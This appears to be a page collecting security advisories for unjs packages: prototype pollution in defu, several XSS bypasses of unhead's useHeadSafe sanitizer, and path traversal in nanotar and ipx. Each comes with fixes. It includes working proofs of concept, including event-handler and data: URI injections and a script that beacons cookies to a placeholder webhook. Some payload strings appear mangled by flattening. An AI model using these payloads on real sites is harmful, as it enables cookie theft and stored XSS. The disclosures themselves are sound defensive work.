See how unjs compares to other vendors in security performance
Impact
Applications that pass unsanitized user input (e.g. parsed JSON request bodies, database records, or config files from untrusted sources) as the first argument to defu() are vulnerable to prototype pollution.
A crafted payload containing a proto key can override intended default values in the merged result:
js import { defu } from 'defu'
const userInput = JSON.parse('{"proto":{"isAdmin":true}}') const config = defu(userInput, { isAdmin: false })
config.isAdmin // true — attacker overrides the server default
Root Cause
The internal defu function used Object.assign({}, defaults) to copy the defaults object. Object.assign invokes the proto setter, which replaces the resulting object's [[Prototype]] with attacker-controlled values. Properties inherited from the polluted prototype then bypass the existing proto key guard in the for...in loop and land in the final result.
Fix
Replace Object.assign({}, defaults) with object spread ({ ...defaults }), which uses [[DefineOwnProperty]] and does not invoke the proto setter.
Affected Versions
<= 6.1.4
Credits
Reported by @BlackHatExploitation
##EVIDENCE
<img width="1900" height="855" alt="Screenshot2026-03-25090729" src="https://github.com/user-attachments/assets/3da93464-1caf-46ca-818f-46f8fe32ab50" /> <img width="1919" height="947" alt="Screenshot2026-03-25090715" src="https://github.com/user-attachments/assets/b27b1fc3-fa89-4864-99c9-4e6cff9a4e40" /> <img width="1918" height="925" alt="Screenshot2026-03-25090759" src="https://github.com/user-attachments/assets/9b8c94fa-d4f7-412e-ba14-214bc4103f4c" /> <img width="1912" height="812" alt="Screenshot2026-03-25090824" src="https://github.com/user-attachments/assets/3a4e1002-8811-453a-b08c-dfd1e42ebcf0" /> <img width="1846" height="409" alt="Screenshot2026-03-22090617" src="https://github.com/user-attachments/assets/9a595e13-ed18-464a-9d1a-0bb71dec96c9" />
| Disclosed to Vercel H1 | 2026-03-22 (no response after 12 days) | | Cross-reported here | 2026-04-03 |
---
Summary
useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends for rendering user-supplied content in <head> safely. Internally, the hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes HTML entities before checking for blocked URI schemes (javascript:, data:, vbscript:). The decoder uses two regular expressions with fixed-width digit caps:
js // Current — vulnerable const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi const HtmlEntityDec = /&#(\d{1,7});?/g
The HTML5 specification imposes no limit on leading zeros in numeric character references. Both of the following are valid, spec-compliant encodings of : (U+003A):
- : — 10 decimal digits, exceeds the \d{1,7} cap - : — 7 hex digits, exceeds the [0-9a-f]{1,6} cap
When a padded entity exceeds the regex digit cap, the decoder silently skips it. The undecoded string is then passed to startsWith('javascript:'), which does not match. makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML parser decodes the padded entity natively and constructs the blocked URI.
Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv, which was an attribute key injection via the data- prefix. This finding targets the attribute value decoder — a different code path with a different root cause and a different fix.
---
Root Cause Analysis
Vulnerable code (packages/unhead/src/plugins/safe.ts, lines 10–11)
js const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits max
Why the bypass works
The HTML5 parser specification ([§ Numeric character reference end state][html5-spec]) states that leading zeros in numeric character references are valid and the number of digits is unbounded. A conformant browser will decode : as : regardless of the number of leading zeros.
Because the regex caps are lower than the digit counts an attacker can supply, the entity match fails silently. The raw padded string (java:script:alert(1)) is passed unchanged to the scheme check. startsWith('javascript:') returns false, and the value is rendered into SSR output verbatim. The browser then decodes the entity and the blocked scheme is present in the live DOM.
---
Steps to Reproduce
Environment
- Nuxt: 4.x (current) - unhead: 2.1.12 (current at time of report) - Node: 20 LTS - Chrome: 146+
Step 1 — Create a fresh Nuxt 4 project
bash npx nuxi init poc cd poc npm install
Step 2 — Replace pages/index.vue
vue <template> <div> <h1>useHeadSafe bypass PoC</h1> <p>View page source or run the curl command below.</p> </div> </template>
<script setup> import { useHeadSafe } from '#imports'
useHeadSafe({ link: [ // 10-digit decimal padding — exceeds \d{1,7} cap { rel: 'stylesheet', href: 'java:script:alert(1)' },
// 7-digit hex padding — exceeds [0-9a-f]{1,6} cap { rel: 'icon', href: 'data:text/html,<script>alert(document.cookie)<\/script>' } ] }) </script>
Step 3 — Start the dev server and inspect SSR output
bash npm run dev
In a separate terminal:
bash curl -s http://localhost:3000 | grep '<link'
Expected result (safe)
Tags stripped entirely, or schemes rewritten to safe placeholder values.
Actual result (vulnerable)
html <link href="java:script:alert(1)" rel="stylesheet"> <link href="data:text/html,<script>alert(document.cookie)<\/script>" rel="icon">
Both javascript: and data: — explicitly enumerated in the hasDangerousProtocol() blocklist — are present in server-rendered HTML. The browser decodes the padded entities natively on load.
---
Confirmed Execution Path (data: URI via iframe, Chrome 146+)
Immediate script execution from <link> tags does not occur automatically — browsers do not create a browsing context from <link href>. The exploitability of this bypass therefore depends on whether downstream application code consumes <link> href values.
This is a common pattern in real-world Nuxt applications:
- Head management libraries that hydrate or re-process <link> tags on the client - SEO and analytics scripts that read canonical or icon link values - Application features that preview, validate, or forward link URLs into iframes - Developer tooling that loads icon URLs for thumbnail generation
Chrome 146+ permits data: URIs loaded into iframes even though top-level data: navigation has been blocked since Chrome 60. The following snippet — representative of any downstream consumer that forwards <link href> into an iframe — triggers confirmed script execution:
js // Simulates downstream head-management or SEO utility reading a <link> href const link = document.querySelector('link[rel="icon"]'); if (link) { const iframe = document.createElement('iframe'); iframe.src = link.href; // browser decodes : → ':', constructs data: URI document.body.appendChild(iframe); // alert() fires }
Full PoC with cookie exfiltration beacon
Replace ADD-YOUR-WEBHOOK-URL-HERE with a webhook.site URL before running.
vue <template> <div> <h1>useHeadSafe padded entity bypass — full PoC</h1> <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p> </div> </template>
<script setup> import { useHeadSafe } from '#imports' import { onMounted } from 'vue'
onMounted(() => { document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None' const el = document.getElementById('cookie-display') if (el) el.textContent = document.cookie
// Simulate downstream consumption: load the bypassed icon href into an iframe const link = document.querySelector('link[rel="icon"]') if (link) { const iframe = document.createElement('iframe') iframe.src = link.href iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px' document.body.appendChild(iframe) } })
const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'
useHeadSafe({ link: [ { rel: 'icon', href: data:text/html;base64,${btoa( <!DOCTYPE html><html><body><script> alert('XSS via useHeadSafe padded entity bypass'); new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({ finding: 'useHeadSafe hasDangerousProtocol bypass', cookie: document.cookie || 'session=super-secret-token-12345 (dummy)', origin: location.origin, ts: Date.now() })); <\/script></body></html> )} } ] }) </script>
Observed result:
1. alert() fires from inside the iframe's data: document context 2. Webhook receives a GET request with the cookie value and origin in the query string 3. Page source confirms : is present unescaped in the SSR-rendered <link> tag
All testing was performed against a local Nuxt development environment on a personal machine. Cookie values are dummy data. No production systems were accessed or targeted.
---
Impact
1. Broken security contract
Developers who follow Nuxt's own documentation and use useHeadSafe() for untrusted user input have no reliable protection against javascript:, data:, or vbscript: scheme injection when that input contains leading-zero padded numeric character references. The documented guarantee is silently violated.
2. Confirmed data: URI escape to SSR output
A fully valid data:text/html URI now reaches server-rendered HTML. In applications where any downstream code reads and loads <link href> values (head management utilities, SEO tooling, icon preview features), this is confirmed XSS — the payload persists in SSR output and executes for every visitor whose browser triggers the downstream consumption path.
3. Forward exploitability
If any navigation-context attribute (e.g. <a href>, <form action>) is added to the safe attribute whitelist in a future release, this bypass produces immediately exploitable stored XSS with no additional attacker effort, because the end-to-end bypass already works today.
---
Suggested Fix
Remove the fixed digit caps from both entity regexes. The downstream safeFromCodePoint() function already validates that decoded codepoints fall within the valid Unicode range (> 0x10FFFF || < 0 || isNaN → ''), so unbounded digit matching introduces no new attack surface — it only ensures that all spec-compliant encodings of a codepoint are decoded before the scheme check runs.
diff - const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi - const HtmlEntityDec = /&#(\d{1,7});?/g + const HtmlEntityHex = /&#x([0-9a-f]+);?/gi + const HtmlEntityDec = /&#(\d+);?/g
File: packages/unhead/src/plugins/safe.ts, lines 10–11
This is a minimal, low-risk change. No other code in the call path requires modification.
---
Weaknesses
| CWE | Description | |---|---| | CWE-184 | Incomplete List of Disallowed Inputs | | CWE-116 | Improper Encoding or Escaping of Output | | CWE-20 | Improper Input Validation |
---
References
| Source | Link | |---|---| | HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state | | GHSA-46fp-8f5p-pf2c — Loofah alloweduri? bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c | | CVE-2026-26022 — Gogs stored XSS via data: URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ | | OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSSFilterEvasionCheatSheet.html | | Chrome: data: URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations | | Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 | | Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |
nanotar through 0.2.0 has a path traversal vulnerability in parseTar() and parseTarGzip() that allows remote attackers to write arbitrary files outside the intended extraction directory via a crafted tar archive containing path traversal sequence.
The link.href check in makeTagSafe (safe.ts, line 68-71) uses String.includes(), which is case-sensitive:
typescript if (key === 'href') { if (val.includes('javascript:') || val.includes('data:')) { return } next[key] = val }
Browsers treat URI schemes case-insensitively. DATA:text/css,... is the same as data:text/css,... to the browser, but 'DATA:...'.includes('data:') returns false.
PoC
javascript useHeadSafe({ link: [{ rel: 'stylesheet', href: 'DATA:text/css,body{display:none}' }] })
SSR output:
html <link rel="stylesheet" href="DATA:text/css,body{display:none}">
The browser loads this as a CSS stylesheet. An attacker can inject arbitrary CSS for UI redressing or data exfiltration via CSS attribute selectors with background-image callbacks.
Any case variation works: DATA:, Data:, dAtA:, JAVASCRIPT:, etc.
Suggested fix
typescript if (key === 'href') { const lower = val.toLowerCase() if (lower.includes('javascript:') || lower.includes('data:')) { return } next[key] = val }
Summary
useHeadSafe() can be bypassed to inject arbitrary HTML attributes, including event handlers, into SSR-rendered <head> tags. This is the composable that Nuxt docs recommend for safely handling user-generated content.
Details
XSS via data- attribute name injection
The acceptDataAttrs function (safe.ts, line 16-20) allows any property key starting with data- through to the final HTML. It only checks the prefix, not whether the key contains spaces or other characters that break HTML attribute parsing.
typescript function acceptDataAttrs(value: Record<string, string>) { return Object.fromEntries( Object.entries(value || {}).filter(([key]) => key === 'id' || key.startsWith('data-')), ) }
This result gets merged into every tag's props at line 114:
typescript tag.props = { ...acceptDataAttrs(prev), ...next }
Then propsToString (propsToString.ts, line 26) interpolates property keys directly into the HTML string with no sanitization:
typescript attrs += value === true ? ${key} : ${key}="${encodeAttribute(value)}"
A space in the key breaks out of the attribute name. Everything after the space becomes separate HTML attributes.
PoC
The most practical vector uses a link tag. <link rel="stylesheet"> fires onload once the stylesheet loads, giving reliable script execution:
javascript useHeadSafe({ link: [{ rel: 'stylesheet', href: '/valid-stylesheet.css', 'data-x onload=alert(document.domain) y': 'z' }] })
SSR output:
html <link data-x onload=alert(document.domain) y="z" rel="stylesheet" href="/valid-stylesheet.css">
The browser parses onload=alert(document.domain) as its own attribute. Once the stylesheet loads, the handler fires.
The same injection works on any tag type since acceptDataAttrs is applied to all of them at line 114. Here's the same thing on a meta tag (the injected attributes render, though onclick doesn't fire on non-interactive <meta> elements):
javascript useHeadSafe({ meta: [{ name: 'description', content: 'legitimate content', 'data-x onclick=alert(document.domain) y': 'z' }] })
Realistic scenario
A Nuxt app accepts SEO metadata from a CMS or user profile. The developer uses useHeadSafe() as the docs recommend. An attacker puts a data- key with spaces and an event handler into their input. The payload renders into the HTML on every page load.
Suggested fix
For vulnerability 1, validate that attribute names only contain characters legal in HTML attributes:
typescript const SAFEATTRRE = /^[a-zA-Z][a-zA-Z0-9\-]$/
function acceptDataAttrs(value: Record<string, string>) { return Object.fromEntries( Object.entries(value || {}).filter( ([key]) => (key === 'id' || key.startsWith('data-')) && SAFEATTRRE.test(key) ), ) }
Summary
The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.
PoC
- setup mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx
- main.js js import { createIPX, ipxFSStorage } from "ipx";
const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), });
(async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: }
}
})()
- node main.js png Forbidden path: /../publi123/test.png
Impact Path Traversal
Possible Fix
Check if the dir ends with / (path separator) and if not, add before calling startsWith